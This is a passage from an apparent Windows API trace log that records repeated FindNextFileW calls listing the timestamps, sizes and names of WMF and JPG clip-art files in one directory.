ftLastAccessTime.dwLowDateTime=0xebae9de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebae9de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa69e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198234.WMF", cAlternateFileName="")) returned 1 [0246.516] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebae9de, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebae9de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebae9de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6f9c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198372.WMF", cAlternateFileName="")) returned 1 [0246.516] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebae9de, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebae9de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebae9de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9d6c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198377.WMF", cAlternateFileName="")) returned 1 [0246.516] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebae9de, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebae9de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebae9de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc20c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198447.WMF", cAlternateFileName="")) returned 1 [0246.516] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebae9de, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebae9de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebae9de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xae08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198494.WMF", cAlternateFileName="")) returned 1 [0246.517] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebae9de, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebae9de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebae9de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198712.WMF", cAlternateFileName="")) returned 1 [0246.517] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebd4c33, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebd4c33, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebd4c33, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x714e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199279.WMF", cAlternateFileName="")) returned 1 [0246.521] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebd4c33, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebd4c33, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebd4c33, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7c4e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199303.WMF", cAlternateFileName="")) returned 1 [0246.521] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebd4c33, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebd4c33, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebd4c33, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc37e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199307.WMF", cAlternateFileName="")) returned 1 [0246.521] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebd4c33, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebd4c33, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebd4c33, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x662a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199423.WMF", cAlternateFileName="")) returned 1 [0246.521] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebd4c33, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebd4c33, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebd4c33, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199429.WMF", cAlternateFileName="")) returned 1 [0246.521] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebd4c33, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebd4c33, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebd4c33, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199465.WMF", cAlternateFileName="")) returned 1 [0246.522] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebd4c33, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebd4c33, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebd4c33, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x35bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199469.WMF", cAlternateFileName="")) returned 1 [0246.522] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebd4c33, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebd4c33, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebd4c33, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199473.WMF", cAlternateFileName="")) returned 1 [0246.522] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebd4c33, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebd4c33, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebd4c33, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1484, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199475.WMF", cAlternateFileName="")) returned 1 [0246.522] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebae9de, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebae9de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebd4c33, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199483.WMF", cAlternateFileName="")) returned 1 [0246.522] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x302c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199609.WMF", cAlternateFileName="")) returned 1 [0246.522] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2004, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200151.WMF", cAlternateFileName="")) returned 1 [0246.522] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c0c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200163.WMF", cAlternateFileName="")) returned 1 [0246.523] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200183.WMF", cAlternateFileName="")) returned 1 [0246.523] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f7c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200189.WMF", cAlternateFileName="")) returned 1 [0246.523] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebd4c33, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebd4c33, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebd4c33, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7a46, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200273.WMF", cAlternateFileName="")) returned 1 [0246.523] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c0a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200279.WMF", cAlternateFileName="")) returned 1 [0246.523] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebd4c33, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebd4c33, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebd4c33, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa0b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200289.WMF", cAlternateFileName="")) returned 1 [0246.523] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebd4c33, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebd4c33, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebd4c33, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200377.WMF", cAlternateFileName="")) returned 1 [0246.523] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebd4c33, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebd4c33, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebd4c33, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5398, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200383.WMF", cAlternateFileName="")) returned 1 [0246.523] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x366e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200467.WMF", cAlternateFileName="")) returned 1 [0246.524] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x273e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200521.WMF", cAlternateFileName="")) returned 1 [0246.524] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf36, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200611.WMF", cAlternateFileName="")) returned 1 [0246.524] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa50e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0202045.JPG", cAlternateFileName="")) returned 1 [0246.524] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6e74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0211981.WMF", cAlternateFileName="")) returned 1 [0246.524] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x180e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0212299.WMF", cAlternateFileName="")) returned 1 [0246.524] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x25cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0212601.WMF", cAlternateFileName="")) returned 1 [0246.524] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x199a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0212685.WMF", cAlternateFileName="")) returned 1 [0246.524] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x80c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0212751.WMF", cAlternateFileName="")) returned 1 [0246.525] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0212953.WMF", cAlternateFileName="")) returned 1 [0246.525] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0213243.WMF", cAlternateFileName="")) returned 1 [0246.525] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0213449.WMF", cAlternateFileName="")) returned 1 [0246.525] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7cb6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0214934.WMF", cAlternateFileName="")) returned 1 [0246.525] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaefa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0214948.WMF", cAlternateFileName="")) returned 1 [0246.525] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d6c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0215070.WMF", cAlternateFileName="")) returned 1 [0246.525] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0215076.WMF", cAlternateFileName="")) returned 1 [0246.525] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x81ce, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0215210.WMF", cAlternateFileName="")) returned 1 [0246.526] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x244a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0215709.WMF", cAlternateFileName="")) returned 1 [0246.526] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x45a2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0215710.WMF", cAlternateFileName="")) returned 1 [0246.526] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15f2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0215718.WMF", cAlternateFileName="")) returned 1 [0246.526] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec9380a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec9380a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf42d018, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa783, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0216112.JPG", cAlternateFileName="")) returned 1 [0246.526] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec9380a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec9380a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec9380a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5474, dwReserved0=0x0, 